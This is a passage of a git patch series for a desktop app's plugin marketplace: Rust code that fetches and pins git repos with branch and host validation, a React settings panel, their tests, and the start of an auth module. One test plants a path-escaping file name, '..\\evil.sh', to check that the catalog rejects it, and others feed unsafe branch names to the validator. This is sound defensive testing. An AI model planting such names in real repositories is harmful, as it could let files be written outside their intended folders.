"Transport handshake failed"; the + // innermost `└─` line names the actual cause. + let cause = chain + .lines() + .filter_map(|l| l.trim_start().strip_prefix("└─")) + .last() + .unwrap_or(chain); + return FetchError::Network(first_line(cause)); + } + FetchError::Other(first_line(chain)) +} + +/// First line of `chain`, without gix's `", at :"` suffix, +/// capped at 300 characters. +fn first_line(chain: &str) -> String { + let line = chain.lines().next().unwrap_or(""); + let line = line.split(", at /").next().unwrap_or(line); + line.trim().chars().take(300).collect() +} + +fn classify(e: E) -> FetchError { + classify_fetch_error(&format!("{:?}", e)) +} + +pub fn cache_path(data_root: &Path, marketplace_id: &str) -> PathBuf { + data_root + .join("marketplaces") + .join(format!("{}.git", marketplace_id)) +} + +/// Branch names that are safe inside a refspec. Stricter than git's own +/// rules on purpose: nothing that could change the refspec's meaning. +/// `pub(crate)` so the add-marketplace form validates with this same rule +/// (pre-flight F13). +pub(crate) fn valid_branch(branch: &str) -> bool { + !branch.is_empty() + && branch.len() <= 200 + && !branch.starts_with('-') + && !branch.starts_with('/') + && !branch.ends_with('/') + && !branch.ends_with(".lock") + && !branch.contains("..") + && !branch.contains("//") + && branch + .bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'/')) +} + +fn open_or_init(repo_path: &Path) -> Result { + if repo_path.exists() { + gix::open(repo_path) + .map_err(|e| FetchError::Other(format!("Could not open the marketplace cache: {}", e))) + } else { + if let Some(parent) = repo_path.parent() { + std::fs::create_dir_all(parent).map_err(|e| { + FetchError::Other(format!("Could not create {}: {}", parent.display(), e)) + })?; + } + gix::init_bare(repo_path).map_err(|e| { + FetchError::Other(format!("Could not create the marketplace cache: {}", e)) + }) + } +} + +/// Init the bare repo if missing, fetch `branch` (or the remote's default +/// branch) into [`HEAD_REF`], and return the head commit hex. +pub fn fetch( + repo_path: &Path, + url: &str, + branch: Option<&str>, + cred: Option, +) -> Result { + let refspec = match branch { + Some(b) if !valid_branch(b) => { + return Err(FetchError::Other(format!( + "{:?} is not a valid branch name", + b + ))); + } + Some(b) => format!("+refs/heads/{}:{}", b, HEAD_REF), + None => format!("+HEAD:{}", HEAD_REF), + }; + let repo = open_or_init(repo_path)?; + let remote = repo + .remote_at(url) + .map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))? + .with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch) + .map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?; + let connection = remote + .connect(gix::remote::Direction::Fetch) + .map_err(classify)? + .with_credentials(move |action| match (action, &cred) { + (gix::credentials::helper::Action::Get(ctx), Some(c)) => { + Ok(Some(gix::credentials::protocol::Outcome { + identity: gix::sec::identity::Account { + username: c.username.clone(), + password: c.password.clone(), + oauth_refresh_token: None, + }, + next: gix::credentials::helper::NextAction::from(ctx), + })) + } + _ => Ok(None), + }); + connection + .prepare_fetch(gix::progress::Discard, Default::default()) + .map_err(classify)? + .receive(gix::progress::Discard, &AtomicBool::new(false)) + .map_err(classify)?; + cached_head(repo_path) + .map_err(FetchError::Other)? + .ok_or_else(|| FetchError::Other("The remote did not return a branch to fetch".to_string())) +} + +/// Current [`HEAD_REF`], if fetched before. +pub fn cached_head(repo_path: &Path) -> Result, String> { + if !repo_path.exists() { + return Ok(None); + } + let repo = + gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?; + let reference = repo + .try_find_reference(HEAD_REF) + .map_err(|e| format!("Could not read {}: {}", HEAD_REF, e))?; + match reference { + None => Ok(None), + Some(mut r) => { + let id = r + .peel_to_id() + .map_err(|e| format!("Could not resolve {}: {}", HEAD_REF, e))?; + Ok(Some(id.to_string())) + } + } +} + +pub fn has_commit(repo_path: &Path, commit: &str) -> bool { + let Ok(repo) = gix::open(repo_path) else { + return false; + }; + let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else { + return false; + }; + // Bound before returning: the `Result>` temporary borrows + // `repo` and must drop first (pre-flight F1, E0597 as a tail expression). + let found = repo.find_commit(oid).is_ok(); + found +} + +/// Make `refs/triple-c/pins/*` exactly the given set (commits missing from +/// the cache are skipped), so pinned commits survive later fetches. +pub fn set_pins(repo_path: &Path, commits: &[String]) -> Result<(), String> { + let repo = + gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?; + let wanted: std::collections::BTreeSet<&str> = commits.iter().map(String::as_str).collect(); + + let mut existing = Vec::new(); + let platform = repo + .references() + .map_err(|e| format!("Could not list refs: {}", e))?; + for reference in platform + .prefixed(PIN_PREFIX) + .map_err(|e| format!("Could not list pins: {}", e))? + { + let reference = reference.map_err(|e| format!("Could not read a pin: {:?}", e))?; + existing.push(reference.name().as_bstr().to_string()); + } + + for name in &existing { + let commit = name.trim_start_matches(PIN_PREFIX); + if !wanted.contains(commit) { + if let Some(r) = repo + .try_find_reference(name.as_str()) + .map_err(|e| format!("Could not read {}: {}", name, e))? + { + r.delete() + .map_err(|e| format!("Could not remove {}: {}", name, e))?; + } + } + } + for commit in wanted { + let name = format!("{}{}", PIN_PREFIX, commit); + if existing.contains(&name) { + continue; + } + let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else { + continue; + }; + if repo.find_commit(oid).is_err() { + continue; + } + repo.reference( + name.as_str(), + oid, + gix::refs::transaction::PreviousValue::Any, + "triple-c pin", + ) + .map_err(|e| format!("Could not pin {}: {}", commit, e))?; + } + Ok(()) +} + +#[cfg(test)] +pub(crate) mod test_support { + //! Fixture repos built with the git CLI. Tests that need one call + //! [`git_available`] first and return early without it. + use std::path::Path; + use std::process::Command; + + pub fn git_available() -> bool { + Command::new("git") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) + } + + pub fn git(dir: &Path, args: &[&str]) -> String { + let out = Command::new("git") + .args([ + "-c", + "user.name=t", + "-c", + "user.email=t@example.invalid", + "-c", + "init.defaultBranch=main", + ]) + .args(args) + .current_dir(dir) + .output() + .expect("git runs"); + assert!( + out.status.success(), + "git {:?}: {}", + args, + String::from_utf8_lossy(&out.stderr) + ); + String::from_utf8_lossy(&out.stdout).trim().to_string() + } + + /// Write `files` (path, contents, executable) into a new repo and commit. + pub fn init_repo(dir: &Path, files: &[(&str, &str, bool)]) -> String { + git(dir, &["init", "-q"]); + commit_files(dir, files, "initial") + } + + pub fn commit_files(dir: &Path, files: &[(&str, &str, bool)], message: &str) -> String { + for (path, contents, exec) in files { + let full = dir.join(path); + std::fs::create_dir_all(full.parent().unwrap()).unwrap(); + std::fs::write(&full, contents).unwrap(); + #[cfg(unix)] + if *exec { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&full, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + #[cfg(not(unix))] + let _ = exec; + } + git(dir, &["add", "-A"]); + git(dir, &["commit", "-q", "-m", message]); + git(dir, &["rev-parse", "HEAD"]) + } + + pub fn file_url(dir: &Path) -> String { + format!("file://{}", dir.display()) + } +} + +#[cfg(test)] +mod tests { + use super::test_support::*; + use super::*; + use crate::marketplace::tree::{GitTree, TreeView}; + + #[test] + fn fetch_error_mapping() { + let cases = [ + ("Credentials provided for \"https://x\" were not accepted by the remote\n└─ Received HTTP status 401", FetchError::Auth { status: 401 }), + ("handshake\n└─ Received HTTP status 403", FetchError::Auth { status: 403 }), + ("└─ Received HTTP status 404", FetchError::NotFound), + ("remote: Repository not found.", FetchError::NotFound), + // What gix actually reports for an anonymous fetch of a private + // (or missing) GitHub/GitLab repo (pre-flight F2). + ( + "No credentials were returned at all as if the credential helper isn't functioning unknowingly, at /home/u/.cargo/registry/src/index/gix-protocol-0.1/src/handshake/function.rs:70", + FetchError::Auth { status: 401 }, + ), + ]; + for (text, want) in cases { + assert_eq!(classify_fetch_error(text), want, "{}", text); + } + assert!(matches!( + classify_fetch_error("error sending request\n└─ dns error: failed to lookup address"), + FetchError::Network(_) + )); + assert!(matches!( + classify_fetch_error("operation timed out"), + FetchError::Network(_) + )); + assert!(matches!( + classify_fetch_error("something odd"), + FetchError::Other(_) + )); + } + + #[test] + fn fetch_error_text_drops_source_locations_and_names_the_network_cause() { + // Pre-flight F2: gix appends ", at :"; + // the innermost `└─` line is the useful network cause. + let chain = "Transport handshake failed, at /home/u/.cargo/registry/src/x/handshake/function.rs:40\n\ + ├─ An IO error occurred when talking to the server, at /home/u/.cargo/y.rs:12\n\ + └─ error resolving DNS, at /home/u/.cargo/z.rs:9"; + assert_eq!( + classify_fetch_error(chain), + FetchError::Network("error resolving DNS".to_string()) + ); + let refused = "Transport handshake failed, at /home/u/.cargo/a.rs:1\n└─ Connection refused (os error 111)"; + assert_eq!( + classify_fetch_error(refused), + FetchError::Network("Connection refused (os error 111)".to_string()) + ); + assert_eq!( + classify_fetch_error("Something odd, at /home/u/.cargo/b.rs:3\n└─ deeper"), + FetchError::Other("Something odd".to_string()) + ); + } + + #[test] + fn credential_debug_never_shows_the_password() { + let c = Credential { + username: "u".into(), + password: "test-token-not-real".into(), + }; + let shown = format!("{:?}", c); + assert!(!shown.contains("test-token-not-real")); + assert!(shown.contains("")); + } + + #[test] + fn refuses_unsafe_branch_names() { + let dir = tempfile::tempdir().unwrap(); + for bad in ["-x", "a..b", "a b", "a:b", "x*", "a.lock", ""] { + let err = fetch( + &dir.path().join("c.git"), + "file:///nowhere", + Some(bad), + None, + ) + .unwrap_err(); + assert!( + matches!(err, FetchError::Other(ref m) if m.contains("branch")), + "{bad:?}: {err:?}" + ); + } + } + + #[test] + fn valid_branch_accepts_ordinary_names() { + // pub(crate) so the add-marketplace form validates with the same rule + // the fetch applies (pre-flight F13). + for good in ["main", "release/1.2", "feature_x", "v2.0-rc.1"] { + assert!(valid_branch(good), "{good:?}"); + } + for bad in [ + "/main", "main/", "a//b", "x.lock", "-x", "a..b", "a b", "a\\b", + ] { + assert!(!valid_branch(bad), "{bad:?}"); + } + } + + #[test] + fn fetches_default_branch_then_updates() { + if !git_available() { + return; + } + let src = tempfile::tempdir().unwrap(); + let first = init_repo( + src.path(), + &[ + ("agents/a.md", "one", false), + ("hooks/h/run.sh", "#!/bin/sh", true), + ], + ); + let cache = tempfile::tempdir().unwrap(); + let repo = cache_path(cache.path(), "m1"); + + assert_eq!(cached_head(&repo).unwrap(), None); + let head = fetch(&repo, &file_url(src.path()), None, None).unwrap(); + assert_eq!(head, first); + assert_eq!(cached_head(&repo).unwrap(), Some(first.clone())); + assert!(has_commit(&repo, &first)); + + let tree = GitTree::open(&repo, &first).unwrap(); + assert_eq!(tree.read_file("agents/a.md").unwrap().unwrap(), b"one"); + let hook = tree.list_dir("hooks/h").unwrap().unwrap(); + assert!(hook[0].executable); + assert!(tree.entry_id("agents/a.md").unwrap().is_some()); + assert_eq!(tree.list_dir("agents/a.md").unwrap(), None); + + let second = commit_files(src.path(), &[("agents/a.md", "two", false)], "second"); + assert_eq!( + fetch(&repo, &file_url(src.path()), None, None).unwrap(), + second + ); + // The old commit is still readable after the update. + assert_eq!( + GitTree::open(&repo, &first) + .unwrap() + .read_file("agents/a.md") + .unwrap() + .unwrap(), + b"one" + ); + } + + #[test] + fn fetches_a_named_branch() { + if !git_available() { + return; + } + let src = tempfile::tempdir().unwrap(); + init_repo(src.path(), &[("a.md", "main", false)]); + git(src.path(), &["checkout", "-q", "-b", "next"]); + let next = commit_files(src.path(), &[("a.md", "next", false)], "next"); + git(src.path(), &["checkout", "-q", "main"]); + + let cache = tempfile::tempdir().unwrap(); + let repo = cache_path(cache.path(), "m1"); + assert_eq!( + fetch(&repo, &file_url(src.path()), Some("next"), None).unwrap(), + next + ); + } + + #[test] + fn missing_repo_is_an_error_not_a_panic() { + let cache = tempfile::tempdir().unwrap(); + let err = fetch( + &cache_path(cache.path(), "m"), + "file:///definitely/not/here", + None, + None, + ) + .unwrap_err(); + assert!(!matches!(err, FetchError::Auth { .. }), "{err:?}"); + } + + #[test] + fn refused_connection_is_a_network_error_without_source_paths() { + // Port 1 on loopback: refused immediately, no real network involved. + let cache = tempfile::tempdir().unwrap(); + let err = fetch( + &cache_path(cache.path(), "m"), + "https://127.0.0.1:1/x.git", + None, + None, + ) + .unwrap_err(); + match err { + FetchError::Network(m) => assert!(!m.contains(", at /"), "{m}"), + other => panic!("expected a network error, got {other:?}"), + } + } + + #[test] + fn has_commit_is_false_for_unknown_or_malformed_ids() { + if !git_available() { + return; + } + let src = tempfile::tempdir().unwrap(); + init_repo(src.path(), &[("x", "1", false)]); + let cache = tempfile::tempdir().unwrap(); + let repo = cache_path(cache.path(), "m"); + fetch(&repo, &file_url(src.path()), None, None).unwrap(); + assert!(!has_commit(&repo, &"f".repeat(40))); + assert!(!has_commit(&repo, "not-hex")); + assert!(!has_commit( + &cache.path().join("absent.git"), + &"f".repeat(40) + )); + } + + #[test] + fn pins_are_exactly_the_requested_set() { + if !git_available() { + return; + } + let src = tempfile::tempdir().unwrap(); + let a = init_repo(src.path(), &[("x", "1", false)]); + let b = commit_files(src.path(), &[("x", "2", false)], "b"); + let cache = tempfile::tempdir().unwrap(); + let repo = cache_path(cache.path(), "m"); + fetch(&repo, &file_url(src.path()), None, None).unwrap(); + + set_pins(&repo, &[a.clone(), b.clone(), "f".repeat(40)]).unwrap(); + let pins = |repo: &Path| -> Vec { + let r = gix::open(repo).unwrap(); + let mut names: Vec = r + .references() + .unwrap() + .prefixed(PIN_PREFIX) + .unwrap() + .map(|x| x.unwrap().name().as_bstr().to_string()) + .collect(); + names.sort(); + names + }; + let mut want = vec![ + format!("{}{}", PIN_PREFIX, a), + format!("{}{}", PIN_PREFIX, b), + ]; + want.sort(); + assert_eq!(pins(&repo), want); + + set_pins(&repo, &[b.clone()]).unwrap(); + assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]); + } + + #[test] + fn git_tree_entry_with_a_backslash_marks_the_item_invalid() { + // Task 3 review: a real git tree (not MemTree) whose entry name + // contains `\` must make the catalog reject the item. git itself + // refuses `/` in names, so `\` is the separator that can get through. + if !git_available() { + return; + } + let src = tempfile::tempdir().unwrap(); + init_repo(src.path(), &[("skills/ok/SKILL.md", "fine", false)]); + let evil = commit_files( + src.path(), + &[ + ("skills/s/SKILL.md", "x", false), + ("skills/s/..\\evil.sh", "boom", false), + ], + "evil", + ); + let cache = tempfile::tempdir().unwrap(); + let repo = cache_path(cache.path(), "m"); + assert_eq!( + fetch(&repo, &file_url(src.path()), None, None).unwrap(), + evil + ); + + let tree = GitTree::open(&repo, &evil).unwrap(); + let names: Vec = tree + .list_dir("skills/s") + .unwrap() + .unwrap() + .into_iter() + .map(|e| e.name) + .collect(); + assert!(names.contains(&"..\\evil.sh".to_string()), "{names:?}"); + + let items = crate::marketplace::catalog::parse_catalog(&tree); + let skill = items.iter().find(|i| i.key == "s").unwrap(); + assert!(skill.invalid.is_some(), "{skill:?}"); + let ok = items.iter().find(|i| i.key == "ok").unwrap(); + assert!(ok.invalid.is_none(), "{ok:?}"); + } +} diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 70ccdb8..be7b083 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -1,4 +1,5 @@ //! Marketplace support — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`. pub mod catalog; +pub mod git; pub mod tree; diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index e600b25..7a033b0 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -40,6 +40,105 @@ pub(crate) fn hex(bytes: &[u8]) -> String { bytes.iter().map(|b| format!("{:02x}", b)).collect() } +/// A tree at one commit of a bare gix repository. +pub struct GitTree { + repo: gix::Repository, + tree_id: gix::ObjectId, +} + +impl GitTree { + pub fn open(repo_path: &std::path::Path, commit: &str) -> Result { + let repo = gix::open(repo_path) + .map_err(|e| format!("Could not open the marketplace cache: {}", e))?; + let oid = gix::ObjectId::from_hex(commit.as_bytes()) + .map_err(|e| format!("Invalid commit id {}: {}", commit, e))?; + let tree_id = repo + .find_commit(oid) + .map_err(|e| format!("Commit {} is not in the marketplace cache: {}", commit, e))? + .tree_id() + .map_err(|e| format!("Commit {} has no tree: {}", commit, e))? + .detach(); + Ok(Self { repo, tree_id }) + } + + fn root(&self) -> Result, String> { + self.repo + .find_tree(self.tree_id) + .map_err(|e| format!("Could not read tree {}: {}", self.tree_id, e)) + } + + /// `(object id, mode)` of the entry at `path`, or `None`. + fn lookup( + &self, + path: &str, + ) -> Result, String> { + if path.is_empty() { + return Ok(Some(( + self.tree_id, + gix::object::tree::EntryKind::Tree.into(), + ))); + } + let root = self.root()?; + let entry = root + .lookup_entry_by_path(path) + .map_err(|e| format!("Could not look up {}: {}", path, e))?; + Ok(entry.map(|e| (e.object_id(), e.mode()))) + } +} + +impl TreeView for GitTree { + fn list_dir(&self, path: &str) -> Result>, String> { + let Some((id, mode)) = self.lookup(path)? else { + return Ok(None); + }; + if !mode.is_tree() { + return Ok(None); + } + let tree = self + .repo + .find_tree(id) + .map_err(|e| format!("Could not read {}: {}", path, e))?; + let mut out = Vec::new(); + for entry in tree.iter() { + let entry = entry.map_err(|e| format!("Could not read {}: {:?}", path, e))?; + let mode = entry.mode(); + let kind = if mode.is_tree() { + EntryKind::Dir + } else if mode.is_link() { + EntryKind::Symlink + } else if mode.is_blob() { + EntryKind::File + } else { + EntryKind::Other + }; + out.push(DirEntry { + name: entry.filename().to_string(), + kind, + executable: mode.is_executable(), + }); + } + Ok(Some(out)) + } + + fn read_file(&self, path: &str) -> Result>, String> { + let Some((id, mode)) = self.lookup(path)? else { + return Ok(None); + }; + if !mode.is_blob() { + return Ok(None); + } + let blob = self + .repo + .find_blob(id) + .map_err(|e| format!("Could not read {}: {}", path, e))?; + Ok(Some(blob.data.clone())) + } + + fn entry_id(&self, path: &str) -> Result, String> { + Ok(self.lookup(path)?.map(|(id, _)| id.to_string())) + } +} + #[cfg(test)] #[derive(Debug, Clone)] enum MemNode { -- 2.52.0 From 28c8f0479bf365ddbf2c72f8c908504d22ea7d34 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:08:12 -0700 Subject: [PATCH 12/45] Project Config: Marketplace section with per-project opt-out and last sync report Shows items this project gets from "All projects" installs (with a per-item opt-out switch saved through setGlobalItemDisabled, since opting out doesn't require a stopped container) and this project's own installs. Fetches the last sync report on mount and refetches it when marketplace-sync-finished fires for this project (N7, preflight), so Apply Now and container-start syncs don't leave it stale. Co-Authored-By: Claude Opus 5.5 --- .../components/projects/home/ConfigTab.tsx | 2 + .../home/config/MarketplaceSection.test.tsx | 119 ++++++++++++ .../home/config/MarketplaceSection.tsx | 171 ++++++++++++++++++ 3 files changed, 292 insertions(+) create mode 100644 app/src/components/projects/home/config/MarketplaceSection.test.tsx create mode 100644 app/src/components/projects/home/config/MarketplaceSection.tsx diff --git a/app/src/components/projects/home/ConfigTab.tsx b/app/src/components/projects/home/ConfigTab.tsx index 566e078..037f228 100644 --- a/app/src/components/projects/home/ConfigTab.tsx +++ b/app/src/components/projects/home/ConfigTab.tsx @@ -5,6 +5,7 @@ import WorkspaceSection from "./config/WorkspaceSection"; import ModelSection from "./config/ModelSection"; import AccessSection from "./config/AccessSection"; import RuntimeSection from "./config/RuntimeSection"; +import MarketplaceSection from "./config/MarketplaceSection"; interface Props { project: Project; @@ -52,6 +53,7 @@ export default function ConfigTab({ project, save, saveState }: Props) { disabled={disabled} disabledReason={STOPPED_ONLY} /> +
    ); } diff --git a/app/src/components/projects/home/config/MarketplaceSection.test.tsx b/app/src/components/projects/home/config/MarketplaceSection.test.tsx new file mode 100644 index 0000000..e623078 --- /dev/null +++ b/app/src/components/projects/home/config/MarketplaceSection.test.tsx @@ -0,0 +1,119 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor, within } from "@testing-library/react"; +import { useAppState, MARKETPLACE_TAB_KEY } from "../../../../store/appState"; +import type { AppSettings, Project } from "../../../../lib/types"; + +const setGlobalItemDisabled = vi.fn(); +const getMarketplaceSyncReport = vi.fn(); +vi.mock("../../../../lib/tauri-commands", () => ({ + setGlobalItemDisabled: (...a: unknown[]) => setGlobalItemDisabled(...a), + getMarketplaceSyncReport: (id: string) => getMarketplaceSyncReport(id), +})); + +let syncFinishedHandler: ((event: { payload: { project_id: string; report: unknown } }) => void) | null = null; +const listenMock = vi.fn(async (_name: string, cb: (event: { payload: { project_id: string; report: unknown } }) => void) => { + syncFinishedHandler = cb; + return vi.fn(); +}); +vi.mock("@tauri-apps/api/event", () => ({ + listen: (...a: Parameters) => listenMock(...a), +})); + +import MarketplaceSection from "./MarketplaceSection"; + +const A = "a".repeat(40); +const project = { + id: "p1", + name: "api", + status: "running", + marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: A }], + marketplace_disabled: [{ marketplace_id: "m1", kind: "hook", key: "noisy" }], +} as unknown as Project; + +describe("MarketplaceSection", () => { + beforeEach(() => { + vi.clearAllMocks(); + syncFinishedHandler = null; + useAppState.setState({ + tabOrder: [], + activeTabKey: null, + projects: [project], + toasts: [], + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "rev", commit: A }, + { marketplace_id: "m1", kind: "hook", key: "noisy", commit: A }, + ], + } as unknown as AppSettings, + }); + getMarketplaceSyncReport.mockResolvedValue({ + installed: ["agent:rev"], + updated: [], + removed: [], + skipped: [{ item: "command:cmd", reason: "a file you created has the same name" }], + errors: [], + finished_at: "2026-09-27T12:00:00Z", + }); + }); + + it("shows effective items with their source and the opted-out global item", async () => { + render(); + const rev = screen.getByTestId("mp-global-agent-rev"); + expect(within(rev).getByRole("switch")).toBeChecked(); + const noisy = screen.getByTestId("mp-global-hook-noisy"); + expect(within(noisy).getByRole("switch")).not.toBeChecked(); + expect(screen.getByTestId("mp-project-command-cmd")).toHaveTextContent("This project only"); + expect(await screen.findByText(/a file you created has the same name/)).toBeInTheDocument(); + }); + + it("opts out of a global item", async () => { + setGlobalItemDisabled.mockResolvedValue({ ...project, marketplace_disabled: [] }); + render(); + fireEvent.click(within(screen.getByTestId("mp-global-agent-rev")).getByRole("switch")); + await waitFor(() => + expect(setGlobalItemDisabled).toHaveBeenCalledWith("p1", { marketplace_id: "m1", kind: "agent", key: "rev" }, true), + ); + }); + + it("opens the Marketplace filtered to this project", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: "Open in Marketplace" })); + expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY); + expect(useAppState.getState().marketplaceFilterProjectId).toBe("p1"); + }); + + it("refetches the sync report when marketplace-sync-finished fires for this project", async () => { + render(); + await screen.findByText(/a file you created has the same name/); + expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1); + + getMarketplaceSyncReport.mockResolvedValue({ + installed: [], + updated: [], + removed: [], + skipped: [], + errors: ["boom"], + finished_at: "2026-09-27T13:00:00Z", + }); + + expect(syncFinishedHandler).not.toBeNull(); + syncFinishedHandler?.({ payload: { project_id: "p1", report: {} } }); + + await waitFor(() => expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(2)); + expect(await screen.findByText("boom")).toBeInTheDocument(); + }); + + it("ignores marketplace-sync-finished events for other projects", async () => { + render(); + await screen.findByText(/a file you created has the same name/); + expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1); + + expect(syncFinishedHandler).not.toBeNull(); + syncFinishedHandler?.({ payload: { project_id: "p2", report: {} } }); + + await new Promise((r) => setTimeout(r, 0)); + expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1); + }); +}); diff --git a/app/src/components/projects/home/config/MarketplaceSection.tsx b/app/src/components/projects/home/config/MarketplaceSection.tsx new file mode 100644 index 0000000..6c71711 --- /dev/null +++ b/app/src/components/projects/home/config/MarketplaceSection.tsx @@ -0,0 +1,171 @@ +import { useEffect, useState } from "react"; +import { listen, type UnlistenFn } from "@tauri-apps/api/event"; +import { ConfigGroup } from "../../../ui/Field"; +import Toggle from "../../../ui/Toggle"; +import Button from "../../../ui/Button"; +import { useAppState } from "../../../../store/appState"; +import { KIND_LABELS } from "../../../../lib/marketplace"; +import { getMarketplaceSyncReport, setGlobalItemDisabled } from "../../../../lib/tauri-commands"; +import type { MarketplaceItemRef, Project, SyncReport } from "../../../../lib/types"; + +interface Props { + project: Project; +} + +interface SyncFinishedEvent { + project_id: string; + report: SyncReport; +} + +const kindWord = (k: MarketplaceItemRef["kind"]) => KIND_LABELS[k].replace(/s$/, "").toLowerCase(); +const same = (a: MarketplaceItemRef, b: MarketplaceItemRef) => + a.marketplace_id === b.marketplace_id && a.kind === b.kind && a.key === b.key; + +export default function MarketplaceSection({ project }: Props) { + const appSettings = useAppState((s) => s.appSettings); + const openMarketplace = useAppState((s) => s.openMarketplace); + const updateProjectInList = useAppState((s) => s.updateProjectInList); + const pushToast = useAppState((s) => s.pushToast); + const [report, setReport] = useState(null); + const [busy, setBusy] = useState(null); + + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + const nameOf = (id: string) => appSettings?.marketplaces.find((m) => m.id === id)?.name ?? "removed marketplace"; + + useEffect(() => { + let cancelled = false; + + const fetchReport = () => { + getMarketplaceSyncReport(project.id) + .then((r) => { + if (!cancelled) setReport(r); + }) + .catch(() => { + if (!cancelled) setReport(null); + }); + }; + + fetchReport(); + + // N7 (preflight): a sync also runs outside this component's own actions + // (container start, "Apply now" from the Marketplace tab), so without + // this the report shown here goes stale as soon as one finishes. + let unlisten: UnlistenFn | null = null; + listen("marketplace-sync-finished", (event) => { + if (event.payload.project_id === project.id) fetchReport(); + }) + .then((fn) => { + if (cancelled) fn(); + else unlisten = fn; + }) + .catch(() => { + // Not running inside Tauri (e.g. tests) — nothing to listen to. + }); + + return () => { + cancelled = true; + unlisten?.(); + }; + }, [project.id, project.status]); + + const toggleGlobal = async (ref: MarketplaceItemRef, enabled: boolean) => { + const id = `${ref.kind}-${ref.key}`; + setBusy(id); + try { + updateProjectInList(await setGlobalItemDisabled(project.id, ref, !enabled)); + } catch (e) { + pushToast({ kind: "error", message: `Could not change ${ref.key} for “${project.name}”`, detail: String(e) }); + } finally { + setBusy(null); + } + }; + + return ( + +
    + {globalInstalls.length > 0 && ( +
    +

    From “All projects”

    +
      + {globalInstalls.map((g) => { + const shadowed = project.marketplace_installs.some((p) => same(p, g)); + const enabled = !project.marketplace_disabled.some((d) => same(d, g)); + return ( +
    • + + {g.key}{" "} + + {kindWord(g.kind)} · {nameOf(g.marketplace_id)} + {shadowed ? " · overridden by this project's own install" : ""} + + + void toggleGlobal({ marketplace_id: g.marketplace_id, kind: g.kind, key: g.key }, v)} + /> +
      • + ); + })} +
    +
    + )} + {project.marketplace_installs.length > 0 && ( +
    +

    This project only

    +
      + {project.marketplace_installs.map((i) => ( +
    • + {i.key}{" "} + + {kindWord(i.kind)} · {nameOf(i.marketplace_id)} · This project only + +
      • + ))} +
    +
    + )} + {globalInstalls.length === 0 && project.marketplace_installs.length === 0 && ( +

    Nothing installed from a marketplace.

    + )} + + {report && ( +
    +

    + Last sync {report.finished_at ? new Date(report.finished_at).toLocaleString() : ""} +

    +

    + {report.installed.length} installed · {report.updated.length} updated · {report.removed.length} removed +

    + {report.skipped.map((s) => ( +

    + Skipped {s.item}: {s.reason} +

    + ))} + {report.errors.map((e) => ( +

    + {e} +

    + ))} +
    + )} + + +
    +     + ); +} -- 2.52.0 From 126d7148acddd3753efb463634aa1c562d8ccb92 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:08:44 -0700 Subject: [PATCH 13/45] Marketplace: account credentials, token validation and fetch-error advice Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/auth.rs | 555 ++++++++++++++++++++++++++ app/src-tauri/src/marketplace/mod.rs | 1 + app/src-tauri/src/storage/secure.rs | 54 +++ 3 files changed, 610 insertions(+) create mode 100644 app/src-tauri/src/marketplace/auth.rs diff --git a/app/src-tauri/src/marketplace/auth.rs b/app/src-tauri/src/marketplace/auth.rs new file mode 100644 index 0000000..d91e4da --- /dev/null +++ b/app/src-tauri/src/marketplace/auth.rs @@ -0,0 +1,555 @@ +//! Marketplace accounts: where a fetch credential comes from, checking a +//! pasted token, and turning a failed fetch into advice a person can act on. +//! +//! Nothing here logs, returns or formats a token into an error string. A +//! `GhHost` account stores nothing at all: its token is asked of the host's +//! `gh` every time, so a later `gh auth refresh` or logout takes effect. + +use std::time::Duration; + +use crate::marketplace::git::{Credential, FetchError}; +use crate::models::marketplace::{AccountMethod, MarketplaceAccount}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum HostKind { + GitHub, + Gitea, + GitLab, + Unknown, +} + +/// Known by name only; Gitea (and self-hosted GitLab) are recognised by +/// probing their API in [`validate_token`]. +pub fn host_kind(host: &str) -> HostKind { + match host.to_ascii_lowercase().as_str() { + "github.com" => HostKind::GitHub, + "gitlab.com" => HostKind::GitLab, + _ => HostKind::Unknown, + } +} + +/// `host[:port]` characters only — also what keeps a host safe as a `gh` argument. +/// +/// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use +/// this same rule instead of a divergent copy (pre-flight F13). +pub(crate) fn valid_host(host: &str) -> bool { + !host.is_empty() + && host.len() <= 253 + && !host.starts_with('-') + && host + .bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'-' | b':')) +} + +/// The host of an `https://` marketplace URL, lowercased, with a non-default port kept. +pub fn host_of(url: &str) -> Result { + // Pre-flight N17: never echo the 